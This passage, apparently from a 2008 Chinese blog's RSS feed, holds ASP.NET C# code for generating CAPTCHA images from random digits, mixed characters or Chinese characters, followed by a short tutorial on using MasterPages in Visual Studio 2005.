&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  default:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  gif = RndNum(3);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Session[&quot;gif&quot;]= GetRandomint();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////创建Bmp位图<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Bitmap bitMapImage = new System.Drawing.Bitmap(Server.MapPath(ImagePath));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Graphics graphicImage = Graphics.FromImage(bitMapImage);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////设置画笔的输出模式<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  graphicImage.SmoothingMode = SmoothingMode.HighSpeed;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////添加文本字符串<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  graphicImage.DrawString(gif, new Font(&quot;Arial&quot;, 20, FontStyle.Bold), SystemBrushes.WindowText, new Point(0, 0));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////设置图像输出的格式<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Response.ContentType = &quot;image/jpeg&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////保存数据流<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  bitMapImage.Save(Response.OutputStream, ImageFormat.Jpeg);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**////释放占用的资源<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  graphicImage.Dispose();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  bitMapImage.Dispose();<br>
&nbsp;&nbsp;&nbsp;  }<br>
返回纯数字<br>
<br>
&nbsp;&nbsp;&nbsp;  private String GetRandomint()<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Random random = new Random();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return (random.Next(100000, 999999).ToString());<br>
&nbsp;&nbsp;&nbsp;  }<br>
返回文字＼数字＼字母混合的<br>
<br>
public static String RndNum(int VcodeNum)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  String Vchar = &quot;0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,W,X,Y,Z,呵,哈,弹,簧,秤,嬉,戏&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  String[] VcArray = Vchar.Split(',');<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  String VNum = &quot;&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Random random = new Random();<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  for (int i = 1; i &lt;= VcodeNum; i++)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  int iNum = 0;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  while ((iNum = Convert.ToInt32(VcArray.Length * random.NextDouble())) ==VcArray.Length )<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  iNum = Convert.ToInt32(VcArray.Length * random.NextDouble());<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  VNum += VcArray[iNum];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  // VNum += VcArray[Convert.ToInt32(VcArray.Length*random.NextDouble())];<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return VNum;<br>
&nbsp;&nbsp;&nbsp;  } <br>
返回汉字的<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  public static object[] CreateRegionCode(int strlength) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //定义一个字符串数组储存汉字编码的组成元素 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string[] rBase=new String [16]{&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;,&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;}; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Random rnd=new Random(); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //定义一个object数组用来 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  object[] bytes=new object[strlength]; <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  /**//**//**//*每循环一次产生一个含两个元素的十六进制字节数组，并将其放入bject数组中 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  每个汉字有四个区位码组成 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  区位码第1位和区位码第2位作为字节数组第一个元素 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  区位码第3位和区位码第4位作为字节数组第二个元素 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  */ <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  for(int i=0;i&lt;strlength;i++) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //区位码第1位 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  int r1=rnd.Next(11,14); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str_r1=rBase[r1].Trim(); <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //区位码第2位 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  rnd=new Random(r1*unchecked((int)DateTime.Now.Ticks)+i);//更换随机数发生器的种子避免产生重复值 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  int r2; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (r1==13) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r2=rnd.Next(0,7); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  else <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r2=rnd.Next(0,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str_r2=rBase[r2].Trim(); <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //区位码第3位 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  rnd=new Random(r2*unchecked((int)DateTime.Now.Ticks)+i); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  int r3=rnd.Next(10,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str_r3=rBase[r3].Trim(); <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //区位码第4位 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  rnd=new Random(r3*unchecked((int)DateTime.Now.Ticks)+i); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  int r4; <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (r3==10) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r4=rnd.Next(1,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  else if (r3==15) <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r4=rnd.Next(0,15); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  else <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  { <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  r4=rnd.Next(0,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str_r4=rBase[r4].Trim(); <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //定义两个字节变量存储产生的随机汉字区位码 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  byte byte1=Convert.ToByte(str_r1 + str_r2,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  byte byte2=Convert.ToByte(str_r3 + str_r4,16); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //将两个字节变量存储在字节数组中 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  byte[] str_r=new byte[]{byte1,byte2}; <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //将产生的一个汉字的字节数组放入object数组中 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  bytes.SetValue(str_r,i); <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  } <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return bytes; <br>
 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  private string stxt()<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Encoding gb = Encoding.GetEncoding(&quot;gb2312&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //调用函数产生4个随机中文汉字编码 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  object[] bytes = CreateRegionCode(3);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  //根据汉字编码的字节数组解码出中文汉字 <br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str1 = gb.GetString((byte[])Convert.ChangeType(bytes[0], typeof(byte[])));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str2 = gb.GetString((byte[])Convert.ChangeType(bytes[1], typeof(byte[])));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string str3 = gb.GetString((byte[])Convert.ChangeType(bytes[2], typeof(byte[])));<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  string txt = str1 + str2 + str3;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  return txt;<br>
&nbsp;&nbsp;&nbsp;  }<br>
}<br>
我们调用页的代码如下<br>
ＨＴＭＬ代码<br>
&lt;%@ Page Language=&quot;C#&quot; AutoEventWireup=&quot;true&quot; CodeFile=&quot;view.aspx.cs&quot; Inherits=&quot;view&quot; %&gt;<br>
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&gt;<br>
&lt;html Xmlns=&quot;http://www.w3.org/1999/xhtml&quot; &gt;<br>
&lt;head runat=&quot;server&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;title&gt;无标题页&lt;/title&gt;<br>
&lt;/head&gt;<br>
&lt;body&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;form id=&quot;form1&quot; runat=&quot;server&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;div&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;nbsp;&lt;asp:TextBox ID=&quot;TextBox1&quot; runat=&quot;server&quot;&gt;&lt;/asp:TextBox&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:Image ID=&quot;Image1&quot; runat=&quot;server&quot; ImageUrl=&quot;png.aspx&quot; /&gt;&lt;br /&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;br /&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &amp;nbsp;&lt;asp:Button ID=&quot;Button2&quot; runat=&quot;server&quot; OnClick=&quot;Button2_Click&quot; Text=&quot;Button&quot; /&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:DropDownList ID=&quot;DropDownList1&quot; runat=&quot;server&quot; AutoPostBack=&quot;True&quot; OnSelectedIndexChanged=&quot;DropDownList1_SelectedIndexChanged&quot;&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:ListItem Value=&quot;3&quot;&gt;默认&lt;/asp:ListItem&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:ListItem Value=&quot;1&quot;&gt;文字&lt;/asp:ListItem&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:ListItem Value=&quot;2&quot;&gt;数字&lt;/asp:ListItem&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;asp:ListItem Value=&quot;3&quot;&gt;混合&lt;/asp:ListItem&gt;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &lt;/asp:DropDownList&gt;&lt;/div&gt;<br>
&nbsp;&nbsp;&nbsp;  &lt;/form&gt;<br>
&lt;/body&gt;<br>
&lt;/html&gt;<br>
ＣＳ代码<br>
&nbsp;&nbsp;&nbsp;  protected void DropDownList1_SelectedIndexChanged(object sender, EventArgs e)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  switch (DropDownList1.SelectedValue)<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;1&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Image1.ImageUrl = &quot;png.aspx?aa=1&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;2&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Image1.ImageUrl = &quot;png.aspx?aa=2&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  case &quot;3&quot;:<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Image1.ImageUrl = &quot;png.aspx?aa=3&quot;;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  break;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  }<br>
&nbsp;&nbsp;&nbsp;  protected void Button2_Click(object sender, EventArgs e)<br>
&nbsp;&nbsp;&nbsp;  {<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  if (TextBox1.Text == Session[&quot;gif&quot;].ToString())<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Response.Write(&quot;OK,正确&quot;);<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  else<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  Response.Write(&quot;验证码不符合&quot;);<br>
&nbsp;&nbsp;&nbsp;  }</p> <a href="http://hi.baidu.com/lustarking/blog/item/a94df117064a600cc83d6d20.html">阅读全文</a>
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lustarking/blog/category/asp%2Enet">asp.net</a>&nbsp;<a href="http://hi.baidu.com/lustarking/blog/item/a94df117064a600cc83d6d20.html#comment">查看评论</a>]]></description>
        <pubDate>2008-04-11  01:16</pubDate>
        <category><![CDATA[asp.net]]></category>
        <author><![CDATA[思念天灵]]></author>
		<guid>http://hi.baidu.com/lustarking/blog/item/a94df117064a600cc83d6d20.html</guid>
</item>

<item>
        <title><![CDATA[在VS2005中创建并使用MasterPage]]></title>
        <link><![CDATA[http://hi.baidu.com/lustarking/blog/item/e7ef809973724b0d6f068c20.html]]></link>
        <description><![CDATA[
		
		<p>　　<strong><font color="#000000">VS2005</font></strong>的<strong>Mast<a href="http://dev.21tx.com/corp/solution/erp/" target="_blank"><font color="#3366cc">ERP</font></a>age</strong>可以定义网站中不同网页的相同部分，如格局、页头、页脚、导航栏等。可以把这些控件定义到一个MasterPage上，其它网页继承这个MasterPage即可。继承后体现在这些网页公有部分都相同，而不同部分在于MasterPage有一个ContantPlaceHolder，这个控件定义了一个可以被其它页面继承的区域，该区域可以被其它页面用来摆放自己的控件。新建<a href="http://dev.21tx.com/web/" target="_blank"><font color="#3366cc">Web</font></a>页面时核选上使用母版，然后选择母版即可。</p>
<p>　　首先，创建一个MasterPage页，在工程资源管理器，单击右键，选择添加新项，添加MasterPage，如图示：</p>
<p>　　<img style="filter: ; width: 639px; height: 382px" height="382" src="http://image.21tx.com/image/20071125/10297.jpg" width="639" border="0"></p>
<p>　　确定后，进入创建母版页</p>
<p>　　<img style="filter: ; width: 620px; height: 465px" height="465" src="http://image.21tx.com/image/20071125/10298.jpg" width="620" border="0"></p>
<p>　　创建好以后，在添加其它页时，请将选择母版页勾选上，如图示：</p>
<p>　　<img style="width: 642px; height: 394px" height="425" src="http://image.21tx.com/image/20071125/10299.jpg" width="681"></p>
<p>　　则新添加的页就有了共同的布局了。</p>
<p>　　<strong>注意：</strong>应用程序可以在Web.config中指定默认的母版页，如下所示：</p>
<p>
<table class="txcode FCK__ShowTableBorders" cellspacing="0" cellpadding="0" align="center" border="0">
    <tbody>
        <tr>
            <td style="word-wrap: break-word" bgcolor="#f3f3f3">&lt;configuration&gt; <br>
            &nbsp;&nbsp;&nbsp;&nbsp; &lt;system.web&gt; <br>
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;pages masterPageFile=&quot;~/Foo.master&quot; /&gt; <br>
            &nbsp;&nbsp;&nbsp;&nbsp; &lt;/system.web&gt; <br>
            &lt;/configuration&gt;</td>
        </tr>
    </tbody>
</table>
<configuration></configuration></p>
<p>　　一个工程可以多个母版页，在创建页面时，我们可以进行选择使用哪个母版。</p> <a href="http://hi.baidu.com/lustarking/blog/item/e7ef809973724b0d6f068c20.html">阅读全文</a>
		
